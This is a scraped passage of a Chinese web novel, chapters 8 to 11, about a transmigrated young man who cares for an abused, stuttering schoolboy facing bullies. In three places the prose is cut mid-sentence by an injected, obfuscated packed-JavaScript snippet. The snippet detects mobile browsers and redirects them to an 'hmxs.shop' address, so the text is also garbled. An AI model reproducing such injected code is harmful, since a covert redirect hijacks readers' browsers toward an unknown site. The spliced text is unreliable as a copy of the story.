那些拳脚和辱骂,与养父的毒打相比,如同蚊虫叮咬般,不足一提。但现在不同了,他不想让那个给他饭吃、给他住处的人,看到他脸上又添新伤。 然而天不遂人愿…… 中午,陈文龙那个六年级的表哥骂骂咧咧地堵在了食堂门口。 “小畜生,还敢跑?!”男生抬手就朝他脸上挥来。 虞守心里一紧,猛地扭身,像条滑溜的小鱼,钻进旁边嬉闹的人群,借着混乱人流,飞快地跑向操场方向。 他一路跑到操场边的器械区,扶着膝盖微微喘气。 扫视一圈,眼睛一亮。 他们班那个胖子王子阔,此时正和他那几个同样圆滚滚的哥们霸占着单杠区域,嘻嘻哈哈地试图引体向上,可惜一直没能成功把自己拉上去,样子颇为滑稽。 虞守停下脚步,靠在冰冷的铁质爬梯旁,静静地看向那边。 王子阔很快察觉到了这道过于直接的视线。他松开手,胖胖的身体落回地面,不爽地瞪过来:“喂!看什么看?找死啊?!” 王子阔是个一点就着的炮仗性子,头脑简单,四肢发达。 总结来说,就是个二傻子。 警告过后,虞守的眼神仍不知收敛。 “嘿!你敢瞪我?你不敢惹陈文龙,居然敢惹我了?你知不知道谁才是四年级真正的老大!?”王子阔老大的威严受到严重挑衅,嗷一嗓子就冲了过来,挥起拳头砸向虞守,“老子今天非得给你点颜色看看!!” 虞守心下冷静地判断着距离和角度。他不还手,但在王子阔拳头携着风声砸来的瞬间,微微一个侧身——拳头擦着他的校服外套,落空了。 王子阔经常在学校里打架,他不过偶尔围观过几次,却已然对后者那毫无章法的拙劣招数了如指掌。 王子阔没料到自己会被避开,也没收着力,胖胖的身体猛地扑腾了一下。 “草!还敢躲?!”王子阔又在自己引以为傲的领域被挑衅了自尊,登时更怒,一脚回踹。 虞守提前向后小退半步,王子阔这一脚踢空,自己差点劈了个叉,幸好被旁边的小弟扶住。 “阔哥!这小子邪门!”一个小弟喊道。 “邪门个屁!”王子阔恼羞成怒,挣脱开小弟,像头发怒的小牛犊再次埋头冲过去。 虞守敏捷地往爬梯后面一闪。 王子阔收势不及,“砰”一声闷响,结结实实地撞在了冰冷的铁架子上,疼得他“哎哟哎呦”连声叫唤,胖脸皱成一团,眼泪都出来了。 他那几个哥们儿想笑又不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712391|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,憋得肩膀直抖。 王子阔捂着撞疼的胸口和胳膊,羞愤得恨不得找个地缝钻进去。 “草草草!笑尼玛笑!看尼玛看!都给老子滚!!” 放学后,虞守刚走出学校,果不其然,就看到王子阔带着他那群兄弟气势汹汹地堵在路口。 王子阔摩拳擦掌,誓要一雪前耻。有个小弟凑过来,指着路口另一头说:“阔哥,那边好像也有人蹲着,好像是陈文龙的表哥他们……” 王子阔不屑地哧了一声:“让他们滚蛋!虞守是本大爷要亲自收拾的人,谁敢插手,先问问我的拳头同不同意!” 他和他几个哥们儿都是膀大腰圆的小胖子,站在一起像几个正方形,压根不怕那几个只比自己高一两年级的学生。对方见他们人多势众,只得先离开了。 好不容易等到虞守出现,王子阔挥挥手让兄弟们散开,掰了掰手腕,准备亲自上前“教育”这个不知天高地厚的家伙。 虞守走了过来。 虞守停下脚步。 虞守放下了肩膀上的书包。 王子阔挑了挑眉:哦?这是准备迎战了?算有点骨气! 虞守拉开了书包拉链。 王子阔心里嘀咕:难道是想交保护费息事宁人?他心里天人交战,就这样放过虞守有点没面子,可是,毕竟他馋“小明煎饼”好些天了,要是虞守识相…… 然后,他看到虞守从书包里拿出来的东西,不是钱。 是一盒纯牛奶,和一个肉松面包。 虞守把东西递到他面前:“给。” 王子阔愣住了。 他横行霸道这么久,还是第一次被人……“投食”?而且还是自己正准备狠狠教训的对象? “你……我……”他张着嘴,一时竟不知该说什么。 虞守的嘴唇也轻轻动了动,似乎酝酿了很久,才吐出三个字:“对不,起。” 虽然有点磕巴,但十分清晰。 至于其中是否含有诚意,那就不是头脑简单的小学生能够分辨的了。 王子阔彻底呆住,脑子里一片空白。 他瞧着虞守低垂着眼帘、显得格外“乖顺”的样子,突然觉得……这小子看起来还挺顺眼的? 他挠了挠头,突然想起什么,瓮声瓮气地问:“哎对了,我听说……你这几天,都在帮那个煎饼摊的老板干活?” 虞守垂下的睫毛遮住了半只眼睛,沉默了好几秒,才不情不愿地从喉咙里挤出一个:“……嗯。” 王子阔的眼睛瞬间就亮了。他宝贝似的把纯牛奶揣进裤兜,又想拍拍虞守的肩膀以示“大哥的认可”,手抬到一半觉得太掉价,生硬地转成摸了摸自己的后脑勺,别过头,粗声粗气地说: “哼!看在你还算识相的分上,本大爷这次就不跟你计较了!” 9. 第 9 章 清晨的阳光洒满教室。 虞守安安静静地坐在自己的座位上,他低着头,貌似认真地阅读着手里压着的书,但那本书的页码,已经有好几分钟没翻过了。 当王子阔揉着惺忪睡眼走进教室来时,虞守突然动了。 他拿起手边那个小塑料袋,在无数道或明或暗的目光注视下,径直走到了王子阔面前。 “给你。”虞守将小塑料袋递了过去。 王子阔的哈欠打到一半僵住了,大脑一时没转过弯来:“给……我的?” “嗯,”虞守言简意赅地解释,“早餐。” 王子阔打开纸袋一看,是营养丰富的三明治和一瓶果汁。 这些零食,当然全都出自明浔特意交给虞守的那个大塑料袋,原是用来和陈文龙修复关系的“贡品”,却被虞守中饱私囊,只挑拣出零星几样,转赠给王子阔。 哪怕一个人吃不完,再放下去就要过期,也完全不想…… 他越是依依不舍,王子阔越是受宠若惊。 “这多不好意思……”王子阔圆润的脸上甚至泛起一丝红晕,他挠着后脑勺,窘迫极了,“虞守,你……你太客气了!我、我也没干啥……” 他心中暖热,豪气顿生。 他身无长物,只得用力拍了拍自己结实的胸膛,发出“砰砰”的声响,声音也洪亮起来:“以后在学校,谁再敢欺负你,你告诉我!我王子阔第一个不答应!有事一定要找我,听见没?” 虞守被长睫遮住的黑眼睛看起来很沉静,只极快地掠过一丝难以察觉的微光,仿佛冰层下流动的暗涌。 这一切,分毫不差地落入了陈文龙眼中。 他简直不敢相信自己的眼睛。 王子阔,那个最自诩仗义、最看不惯别人在背后搞小动作的“大哥大”,什么时候跟虞守那种阴险的货色混到一块儿了?还哥俩好地送起早餐来了?! 两人融洽和睦,陈文龙怒火攻心,直接就冲到了王子阔面前。 “王子阔!你他妈什么意思?!” 王子阔正沉浸在“大哥”的自我感动里,被陈文龙这么一吼,面子立刻挂不住了。他瞪着眼睛,毫不示弱地顶回去:“你管得着吗?总比某些人在背后耍阴招强。” “我耍什么阴招了?!”陈文龙气得胸口起伏。 “对同学有什么不满直接说啊!背地里来阴的,还叫帮手你要脸吗?!”王子阔吼了出来。 两位班里的“大哥”突然爆发争吵,所有同学都看了过来,眼神在两人之间来回逡巡。 被众人围观,陈文龙是又羞又气,脸上红一阵白一阵,差点一口气没喘上来:“虞守那种人……” “他哪种人?!”王子阔猛地打断他,蒲扇般的大手一挥,“我看他比某些阴阳怪气的家伙强多了!以后他的事,我罩了!” “你罩?就凭你?!”陈文龙彻底被激怒了,失去理智地伸手推了王子阔一把。 王子阔被推得踉跄后退,撞倒了一把椅子。他当即怒吼一声:“陈文龙你找死!” 两人瞬间扭打在一起,桌子椅子被撞得东倒西歪,课本散落一地。教室里乱成一团,惊呼声四起: “别打了别打了!” “去叫老师!” 几个男生慌忙拥上去,三四个抱一个,费了九牛二虎之力才将两人分开。 当班主任气喘吁吁地赶到时,战场已是一片狼藉。 陈文龙的眼镜歪斜地挂在脸上,头发凌乱,一脸愤恨狰狞。 王子阔也好不到哪里去,嘴角破了皮,校服皱巴巴的。但他脸上除了怒气,还有一种酣畅淋漓的爽快,保护欲得到满足的骄傲。 老师铁青着脸将两人带去了办公室。 下节课上到一半,王子阔带着一身“战损”的痕迹,昂首阔步地回来。 在全班同学的注视之下,他目不斜视地往自己的座位走去,只经过虞守身边时稍作停顿,用力拍了拍虞守的肩膀。 什么都没说,又仿佛什么都说了。 同学们窃窃私语,有看热闹的,有觉得王子阔仗义的,也有觉得虞守运气好的。 而在这一片复杂各异的目光中,只有一个人的反应格格不入。 是崔霖。 那个向来温吞的老好人学委。 此刻,他脸色惨白,那双总是低垂着的眼睛也惊恐地震颤着。 虞守感受到了那道视线。 他缓缓转过头,目光越过嘈杂的人群,落在了崔霖脸上。 没有愤怒,没有质问,没有任何情绪。只是静静地看着。 崔霖却吓得几乎要窒息,避开视线后依然心脏狂跳,冷汗浸透后背。 这一天的混乱仿佛延续到了晚上。 虞守有一周没回过那个“家”了,也有意不去想那些糟烂事。就在他几乎要忘记的时候,那些纠缠不休的暴力和压抑,又钻进了他不安稳的梦境。 梦里是醺醺的吼叫,是东西被砸碎的刺耳声响,是一张因暴怒而扭曲、向他挥来的巴掌。是枪声,是浇了他满身滚烫的热血…… 他猛地一颤,惊醒过来。 心脏在胸腔里狂跳,冷汗淋漓。 刚喘匀了气,一抬眼,又撞见门口一道模糊的身影,吓得他差点叫出声。 “怎么醒了?”门口的身影动了,是明浔的声音,温润好听。他按亮墙上的开关,老式日光灯管闪烁两下,“是因为学校的事,还是……” 虞守没说话,只是睁大眼睛,呼吸急促、满头冷汗地看着他。 系统的提示音在明浔脑中响起:“宿主,虞守有严重创伤应激障碍,伴随结巴与频繁噩梦,内容涉及生父死亡与养父暴力……” 明洵走过去,在床沿坐下,拍了拍虞守僵硬的肩膀。 他并不擅长安抚小孩儿,虞守更不习惯于被安抚,他拍一下,虞守的眼睛反而睁得更大一点。 “睡吧。”明浔有点无奈地说。 虞守听话地拉了拉被子,闭上眼,低垂的睫毛依然不安地颤动着。 明浔去关了灯,又在床边坐下,再说了声“睡吧。” 安静中,他嘀咕了声“怎么唱来着”,又出去了一趟向黑猫确认,才用非常不熟练的语调,拍着虞守的肩膀哼起一首儿歌:“天上的星星不说话,地上的娃娃想妈妈……” 他的人生被父母的死亡、自己的死亡割裂成一段段,睡前的儿歌,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712392|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记忆里那样遥远,感觉已经是上上辈子的事了。就算问过了系统,他也就记住了这么一句,反复而枯燥地吟唱着。 虞守紧绷的身体,在这荒腔走板的调子里,竟然一点点松懈下来。 等虞守呼吸渐匀,明浔也没起身,只是放轻了声音:“放心吧小孩儿,我今晚就在这儿陪你了。” 他说到做到,果然就在虞守旁边睡下。 虞守睡得并不熟,而且他很快发现,这个做事看似游刃有余的大人,他的睡眠很浅,比自己还浅。 虞守好几次察觉到翻身的震动,还有几次,明浔甚至直接下了床。尽管他尽量把动作放得很轻,虞守还是会在半梦半醒间察觉到那些动静。 他听着明浔时不时起来一趟,还一次又一次帮他把踢开的被子往上拉。 虞守迷迷糊糊地想,原来一个晚上可以这么长。 他醒了睡,睡了醒,只觉那个人在黑暗里来来去去,仿佛整夜无眠。 天亮前夜色最深的时候,虞守被尿意憋醒,迷迷糊糊地想出去放水。手刚碰到冰凉的卧室门把手,他一个激灵,倏地清醒了。 为免惊扰明浔,他刻意把动作放得又慢又轻,像只猫一样,缓缓地推开一条门缝—— 明浔果然在客厅里。 客厅没开灯,朦胧的路灯透过碎花窗帘,勾勒出青年高瘦的身影。他穿着白色的衬衫式睡衣,微光照亮了他一截泛着冷光的脖颈和半边脸。 微卷的头发半遮住眉眼,整个人靠窗站着,一只骨节分明的手扣着身后的窗棱,另一只手里捏着一个小巧的黑色翻盖手机,正百无聊赖地一下下按着,可能是在玩贪吃蛇。 虞守屏住呼吸,指尖勾着门把手一点点往后退,直到房门被无声无息地合上,才重新穿上拖鞋。 天光大亮,虞守终于得以光明正大地观察对面低头吃早餐的明浔。 对方纤长的睫毛下面,遮着层淡淡的雾一般的灰青。 他记起来,那天在土坡上偷偷观察时,明浔的脸色就是这样,大概是长期睡眠不佳的缘故。可明浔看着又很年轻,眼下没有一丝细纹,笑起来时眼尾也平顺干净,不见岁月痕迹。 虞守估摸了一下,明浔该和学校里那位刚毕业的语文老师年纪相仿。语文老师上课充满活力,嗓门洪亮,眉眼带笑。明浔身上却有一种不同于那个年纪的倦怠和老成。既严肃又温柔,既亲切又陌生。 “怎么了?”明浔突然抬眼,冷不防发问,“我脸上有东西?” 他的感官好敏锐…… 虞守心里一惊,赶忙把脑袋埋进粥碗里,装得若无其事。 黑猫忽然“噌”地跳上餐桌,明浔被分走神,忙伸手去挡,免得这不知轻重的纸糊金手指糟蹋了早餐。 黑猫的尾巴绕着爪子打圈,异常兴奋:“宿主!都说晚上是人类心理防线最脆弱的时候,你整晚守着做噩梦的虞守,还给他唱儿歌、掖被子,他现在肯定很感动,感化效果绝对棒呆了!” “我还没那么高尚。”明浔在心里婉拒系统送的高帽,幽幽打个呵欠,“本来就睡不着,打发时间罢了。” 黑猫摇着尾巴晃晃悠悠地走开,心说,打发时间还要搜肠刮肚找幼儿园听过的儿歌啊。 10. 第 10 章 自从十二岁那年父母去世,明浔的睡眠状况一直不佳。 说失眠倒不全是,他能断断续续地睡,但睡得极浅,一个破碎的梦紧挨着另一个,像一部卡顿的劣质录像带,播得人精疲力竭。 到后半夜,他宁愿爬起来在屋里遛几圈,那也比躺着受罪强。 磋磨到二十二岁,他还清助学贷款顺利毕业,零零碎碎的兼职换成正式的offer,连父亲留下的烂账,他也咬着牙还上了一部分。 他以为生活总算要拨云见日,没成想,会让一辆货车给彻底撞没了。 来到这个陌生的世界,他本以为自己的身体能有所不同,结果系统原封不动地把他本人投了过来,连这该死的睡眠问题也一并打包,真实得可怕,让他连自欺欺人地把这一切当做一场梦都不行。 吃完早餐,明浔拿起钥匙串,冲着虞守抬了抬下巴:“走吧,我送你。顺便去你们学校看看,校园暴力的事儿,我倒要问问你们学校还管不管了。” “不。”虞守一口回绝。 明浔挑眉:“不?” “我……” 流利说出两个字是虞守的极限,他往往经过深思不得已时才开口,尽量用最简短的句子表示最明确的意思。 “我,自己。”结果这次因为着急,简单一句话说得七零八落,“我,可以。不用。不!” 明浔没理会他的抗拒,兀自走到门口,弯腰换鞋,头也不回地命令:“拿上书包,出发。” 虞守急了,冲口而出:“我……哥哥!” 明浔准备开门的手顿住。 他缓缓转过身,眼睛先是微微睁大,然后像是被春风吹化的冰面,慢慢地、一点点地弯了起来。 他走回来,抬手,这次虞守没躲,任由他宽大的手掌落在自己发顶,力道不轻不重地按了按。 “可以啊,会叫人了。”明浔笑意愈浓,“你倒也不完全是个坏小孩儿。” “我……”不是小孩儿。 “行,我不去找你老师,就送你到校门口。”明浔收回手,终于松了口,“但你得放学早点回来,准时陪我出摊。” 他其实本就没打算去找校方说理。 要是大人出面便能轻易摆平校园暴力,这问题也不会成为顽疾了。无解的难题才需要反复争论,乃至成为社会议题。 何况他一个身份不明的人,能做的实在有限,无非是走细水长流的路线,慢慢捂热这块小顽石。 若能通过强硬手段一劳永逸地解决所有问题,系统也就不必大费周章找上他。 “想什么呢小孩儿,走不走?”明浔摇晃手里的钥匙。 眼看上学要迟到,虞守却背着明浔给他的新书包,钉在门口不动了。 然后,他像是陷入了某个固执的循环,开始一遍遍重复自己的名字。 “虞、守。”起初生涩,磕绊。 “虞守。”渐渐流畅,却带着不撞南墙不回头的倔强。 明浔起初只觉得莫名,看他那小模样,带着点残留的笑意敷衍:“嗯嗯嗯,听见了。说得很棒。” 他习惯性地又想揉虞守的头发,这次却被对方一偏头躲开了。 虞守不理会他的打岔,漆黑的眸子紧盯着他:“虞、守!” 明浔终于琢磨出点不对劲,他蹲下身与虞守平视,试图讲道理:“虞守,我知道你的名字。但想证明结巴好了,光说名字可不行,得多说点别的字,说点更长的句子,嗯?” 然而虞守充耳不闻。 虞守甚至攥住他的衣角,执拗地、一遍遍地重复那两个字,仿佛这是世上唯一重要的事。 “虞守。” “虞守。” “虞守。” 明浔被念得头疼,耐心快要耗尽。他伸手去掰那只攥着他衣角的小手:“别闹了,听到了,我知道你叫虞守。” 虞守反而将他的衣角抓得更紧,又向前逼近一步,眼神里是纯粹的倔强,甚至隐隐燃起一丝被误解的愤怒:“虞守!” 明浔被小崽子这突如其来的激动弄得有些烦躁:“我知道你叫虞守!还是你想改个名?那也得……” 话说到一半,戛然而止。 他的目光撞进虞守那双黑色的眼睛——那里面的倔强几乎要满溢出来,但在那坚硬的外壳下,他似乎地捕捉到了一丝强烈的、渴望被正视的愤怒。 他恍然大悟:“你不喜欢我叫你‘小孩儿’?” 虞守紧抿着嘴唇,只那双眼睛依旧倔强地、死死地盯着他。 所有的不耐烦在这一刻烟消云散。 真是啼笑皆非。明浔再次耐下性子,并收敛了所有随意的表情,认真地叫出那个名字:“虞守。” 同时在心里叹了口气,哎,真是个别扭的小孩儿。 仿佛能窥见他的心声似的,虞守依然一动不动,眼神里都没有丝毫的动摇。 明浔别无他法,索性跪坐了下来,微微仰头,郑重地迎上虞守的目光:“行吧……” 然后用那清润的嗓子,无比清晰地唤道:“虞守。” 虞守攥着他衣角的手,终于一根根地松开。 “可以走了吧?送你去上学。” 明浔从一楼那个黑黢黢的夹角里推出一辆轻便的自行车,一手控制车把,另一只手日益熟练地往小崽子脑袋上呼噜。 虞守抿了抿唇,默默抬手将头顶被揉翘的几根头发压了下去。这次甚至不用明浔出声,只是一个眼神的交汇,他便爬上了那硌人的后座,乖乖坐稳。 “抓紧。”明浔回头瞥了一眼,长腿蹬出。 车轮碾过崎岖的水泥路面,滑入新铺的柏油路。 秋天清晨的风带着凉意扑面而来,格外清爽。 明浔骑得轻快,衣摆被风鼓动,心情也像是这晨风,难得透亮起来。虞守则侧坐在后座,两只小手死死抠着身下冰凉的铁架。 明浔从没骑车载过人,更没带过孩子,行事风格一个“糙”字贯穿始终。他压根没想过说一句“抓着我的衣服”或者“抱稳我的腰”,脚下速度也丝毫不减。 所幸他身后这小反派也不是寻常角色,几次急刹车,那瘦小的身子也只是随着惯性晃了晃,像只顽强的小猴子般紧紧扒在后座上,没被甩出去。 “到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712393|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”明浔一脚踢下脚撑,稳住车子,转身朝虞守伸出一只手,“下来吧。” 虞守松开攥了一路铁架的手,改为抓住双肩背带,刚好将掌心里的红痕蜷起藏好。他也没有去搭那只伸来的手,顽强地自己跳下来。 他手心里那点红在明浔眼里一闪而逝,明浔微顿,看着这沉默寡言的小崽儿,思忖几秒,就说了句:“处理好学校里这些破事,别再让我看到你身上有伤。还记得我教你的吗?” 虞守抬起头,孩子的眼睛黑白分明。 明浔微微弯腰,忽然抬手,指尖在自己喉间飞快地虚划了一下,做了个干脆利落的抹脖子动作。然后神秘兮兮地一勾唇,压低声音:“精准打击,一击必杀。” 远在家中的黑猫对此一无所知,无法对宿主这独特的“教育”方式发表任何评论。 虞守定定地望着他,黑色的眼睛很亮,半晌,郑重地一点头:“嗯!” 明浔满意地直起身,顺手又在小家伙发顶揉了一把。 自行车一路风驰电掣,他们到校的时间竟还算早。就在这闲聊的片刻功夫,穿着统一红白校服的学生们慢慢聚集,层层叠叠地将校门口这个黄金位置给包围了。 明浔身形高挑,站在校门口格外显眼。小学生们几乎是不加掩饰地仰头盯着他看,孩子们藏不住心事,好奇、惊讶,甚至带着点惊艳的表情全写在脸上。 “哇……” “他是谁啊?” “长得好好看……” 窃窃私语和惊呼此起彼伏。甚至有个扎着羊角辫的女生大着胆子蹭到虞守旁边:“哎,同学……这是谁啊?” 虞守心里默念了句“我哥”,但他没有回答同学的问题,只是抬起头,一眨不眨地地仰望着明浔,期待又忐忑。 见状,明浔自然地伸出手,牵住了虞守那只刚刚藏起红痕的小手,对着那好奇的女生温和一笑: “我是他哥哥。” 在小学生单纯的世界里,年长者本就自带权威光环,更何况是明浔这样外貌出众、气质独特的“哥哥”。 话音落下,周围顿时又响起一片压抑不住的“哇”声,孩子们的目光在明浔和虞守之间来回逡巡,满是羡慕。 明浔就这样牵着虞守,不紧不慢地朝校门口走去,边走,边在那几乎没什么肉的掌心里揉了揉。 虞守大概很是诧异,明浔能一直感到来自斜下方那格外浓烈的目光。学校门口有一段高高的台阶,路途过半明浔才脚步稍顿,回应了那目光:“怎么,很意外?” 那双瞪的溜圆的眼睛里,有震惊,也有惊喜。而在那簇明亮的惊喜之下,还藏着一丝刚冒头的、怯生生的渴望。 原来这个小崽子跟刚才那群聒噪的小蜜蜂一样,也有如此喜怒形于色的一面。 “因为你叫我哥哥,所以我告诉他们我是你哥哥。”明浔好心情地说,“这是乖小孩儿的奖励。” 虞守被他握着的手指稍稍紧绷,这个小动作没能逃过他的感官,大概是不满于又被称呼了一声小孩儿。但只持续了短短一瞬,很快妥协了。 明浔心情更好地翘起嘴角。 11. 第 11 章 台阶尽头有一扇敞开的铁栅门,门内是光线有些昏暗的宽阔中厅,两侧墙上贴满了各种照片和通知公告。家长们通常只送到这里。 远远地明浔就看到了侧墙上那张巨大的红底黄字光荣榜,上面贴着优秀学生照片,“陈文龙”,班级第一名,三好学生。 照片上的男孩戴着黑框眼镜,模样斯文白净。单从照片看,这确实是个标准的“好学生”模样,实在难以将他与“挑起霸凌”联系起来。 正想着,从校门外传汽车的喇叭声。从高台阶往下眺望,是一辆黑色的老式桑塔纳停下,一个男孩从车里钻出来,赫然是照片上的陈文龙。 “上次是退步到年级第五……”一个男人摇下车窗,偏偏挑在这个时候开口,像是刻意要在校门口说给所有人听一样,“明天期中考必须拿回第一!我们辛苦工作,省吃俭用供你读书,你别给我们丢脸!!” 副驾上的女人也探过头:“小龙,你可得争气啊,爸妈的希望全在你身上了……” 陈文龙麻木地等两人说完,双手攥着书包带,一声不吭地独自爬上高高的台阶。 一直等到上课铃敲响,明浔又一个折身来到门卫室。 2002年的小学管理颇为松散,他在来访登记簿上随手写下“虞守家长”和电话号码,便被挥手放了进去。 教学楼一楼的小厅墙上,贴着上学期期末考试的排名表。明浔指尖划过密密麻麻的名字,到中游的位置才找到“虞守”。 以他这几日的观察,那小崽子脑筋转得快,心思也沉,小学程度的考试不可能将他难住,只有可能是那对养父母的折腾拖累了他,伤重的时候怕是连握笔都困难…… 虞守的各科成绩都在95分以上,独独语文后面跟着个刺眼的“0”,标新立异,在前后一众整齐的8、90中格格不入。 这样的总成绩,根本不足以对高居年级前列的陈文龙构成威胁,引不来嫉恨。 正想着,一位抱着厚厚一摞作业本的女老师匆匆走过。 明浔立刻上前,指着墙上虞守的语文成绩问:“老师,打扰一下,请问这孩子语文成绩怎么是零分?” 明浔没指望随便抓个老师就清楚虞守的情况。不料那女老师脚步一顿,看向成绩单,竟然露出一副“又是他”的无奈表情,叹气道:“缺考了呗!那孩子家里情况特殊,我们老师也找过、谈过,没用啊……” 她怀里的作业本摇摇欲坠,话没说完就急着要走:“唉,我这还有课,具体情况您还是……” “唔,谢谢。”明浔对着她匆忙的背影点了下头。 缺考?明浔立刻想起早上在校门口听到的、从桑塔纳车里飘出的只言片语——“明天期中考试”。 他目光再次扫向排名表,落在陈文龙那一栏:年级第五,成绩优秀,唯独英语成绩后面跟着个小小的括号,里面写着“补考”二字。 补考往往比正常的考试难,这是对于遵守规矩的学生的公平。明浔的指尖在“补考”二字上点了点,视线微移,不由眯了眯眼:虞守所在的班级,竟有两人跻身年级前十。除了第五名的陈文龙,还有第八名:崔霖。 从教学楼里传出阵阵读书声,洪亮而整齐,将无人的操场衬出一片宜人的静谧。 操场中央有一颗巨大的大樟树,围一圈红色的圆形花坛,明浔信步过去,在画坛边沿坐下。 ——既然要感化这小反派,光是思想品德还不够,文化学习也得抓起来。至少,得先保证他能安安稳稳参加完这次的期中考试。 明浔悠悠抬眼,前面那栋教学楼里,就有他要找的人。 四年级的教室被安排在教学楼一楼,门外一条开放式的风雨连廊,平时人来人往,是整栋楼里最吵闹的一片。 教室里却很安静。 “虞守,你的红领巾呢?”数学老师是个瘦削的灰发女人,眉心刻着深深的川字纹路。 虞守低垂着眉眼,实话实说:“丢了。” 前排一个男生插嘴道:“校门口不是有卖吗?才五毛钱,我的就是刚买的!” 虞守垂着眼,一言不发。 数学老师不由皱紧了眉。她太了解这个学生了,学起数学来比很多同学都灵活,可就是这副倔强的性子,不但不服老师,校规校纪也被他视作无物。 “丢了不是理由,我看你就是故意不戴。”老师转过身继续板书,“站到后面去,好好反省。” 虞守走到教室后方,随意往窗外望了眼,倏然定住——操场的樟树下,那个熟悉的身影…… 他迫不及待地开口:“老师,我、站出去!” 数学老师头也没回:“你要是不想听课,可以直接滚回家去。” 教室里响起几声压抑的窃笑。虞守嘴唇抿成一条直线,他突然走回座位抽出语文书,再回到罚站的位置,堂而皇之地翻看起来。 “虞守!”数学老师将粉笔狠狠摔在讲台上,“你干什么?” “老师,我、可以……”虞守因为急切,竟破天荒地吐出了一个相对完整的句子,“站出去了吗?” 这礼貌中带着挑衅的举动让老师怒不可遏,粉笔都被甩飞了。 “滚出去!” 送走了一个刺头,学习的氛围刚刚找回来些许,后排的王子阔又不安分了,他突然站起来扯着嗓子嚷:“报告老师!我也想出去背语文!” 全班先是一静,随即爆发出哄堂大笑。 “王子阔!”老师气得脸色发青,“你也给我滚出去!” 虞守如愿从教室来到走廊,目光急切地在偌大的操场上搜寻。那棵伞盖般的老樟树下,明浔还坐在那里,光影洒了满身,给他白色的衬衫染上五彩的光斑。 岁月如此静好,碍事的王子阔却跟屁虫似的凑过来:“哟,看什么呢?” 虞守皱了下眉,忙转过身挡住他,用行动表示“没什么”。 好在王子阔突然被地上搬运食物的蚂蚁队伍吸引了注意力,蹲下身兴致勃勃地研究起来。 虞守抓住这个机会,心脏砰砰狂跳着,当他再一次转头去看的时候,那片树荫下已经空了,只留下几片落叶。 他的肩膀顿时垮下去,下课铃声尖锐刺耳,他根本没听见。 直到王子阔和陈文龙激烈的争吵将他从失神中拽了回来。 “陈文龙!你他妈什么表情啊?”王子阔满脸不爽地瞪着陈文龙。 陈文龙扶了扶眼镜,冷笑一声:“关你什么事?你是居委会大妈吗王子阔?管这么宽。” 周围的同学原本还在嬉笑打闹,见状都安静下来,小心翼翼地往这边瞟,脚步悄悄移动,形成半个包围圈,随时准备冲上来拉架。 “我就管了怎么了?”王子阔提高嗓门,“你今天必须给说清楚,你为什么老是跟虞守过不去?他招你惹你了?” 那一瞬间,人群里有颗心脏的跳动都停止了!他会说吗?陈文龙会说吗?他会一不做二不休和虞守摊牌吗!?那…… 好在陈文龙是个要面子的,只冷笑着反唇相讥:“我跟谁过不去还需要向你汇报?王子阔,你是他用几包破零食就收买的狗吗?这么护主?” “你他妈再说一遍!?”王子阔瞬间火冒三丈,抡起拳头就冲了过去。 一只瘦削却坚定的手突然拦到王子阔胸前。 王子阔猝不及防,怕打到虞守,硬生生收住力道,他又惊又怒地瞪向虞守:“你干什么!虞守你哪边的啊!?” 虞守皱着眉,本就语言能力受限,又不知从何说起。他只能将目光投出去,再一次锁定了正偷偷往这边张望的崔霖。 对上那双漆黑平静的眼睛,崔霖心里猛地一咯噔,脸色“唰”地一下变得惨白。 “看什么?”虞守直接问。 崔霖吞咽了下,被好几双眼睛盯住,他不得不从人群中出来,脸上堆起那副熟悉的老好人的笑容:“没、没什么……哦,对了,你们几个,记得放学之前把数学作业交到我这里……” 小孩子心思单纯,但也看得出崔霖明显的紧张。王子阔不明所以,就嚷嚷着问虞守:“你干嘛啊?崔霖又怎么了?难道欺负你的是崔霖?” 虞守依然皱着眉:“不知道。” 王子阔的脾气来得快退的也快,遇到这种怪事也不往深里想,反倒是陈文龙,他同样皱起了眉,困惑的目光落在崔霖后背。崔霖和自己关系不错……难道崔霖也在私底下去教训过虞守、为自己出气吗? 那虞守为什么说不知道?他讨厌虞守不假,却不觉得虞守会在这种小事上撒谎…… 一大堆疑问依然没有解决,放学铃声响了,虞守立马背上书包,兴冲冲地跑到那个香味弥漫的街角。 明浔正动作利落地给一个煎饼翻面。 虞守围着他转了几圈,见缝插针地寻找活干,突然眼睛一亮,准备拿抹布擦桌子,结果手刚伸出去,就被明浔轻轻拍开。 “去那边坐着。”明浔朝旁边的花坛沿扬了扬下巴,“看书,复习。” 虞守眼里那点微弱的光顿时就灭了。 可惜明浔看都没看他,往铁板上磕了个鸡蛋。 “你不是明天要期中考试吗?”明浔顿了顿,声音严厉了些,“这次,不准再考零分。” 